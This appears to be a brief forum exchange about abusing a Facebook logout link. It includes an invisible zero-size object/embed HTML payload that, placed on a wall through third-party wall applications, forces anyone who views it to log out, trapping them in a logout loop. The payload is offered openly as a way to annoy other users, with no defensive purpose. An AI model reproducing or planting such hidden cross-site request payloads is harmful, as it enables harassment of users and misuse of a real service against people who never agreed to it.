You are on to something here. A link that auto logs u out. Can we embed this link in a post on facebook, therefore auto logging people out just by visiting their wall? It would be the ultimate annoyance.
If a user has an application such as advanced wall or super wall you can use the following to log people out.
<object data="http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> <embed src="http://www.facebook.com/o.php?k=16531b&u=100001103986041... width="0" height="0"> </embed></object>
The worst part is that if you just try to login again at the prompt (instead of going to facebook.com) you get redirected back to the post and logged out again in a loop.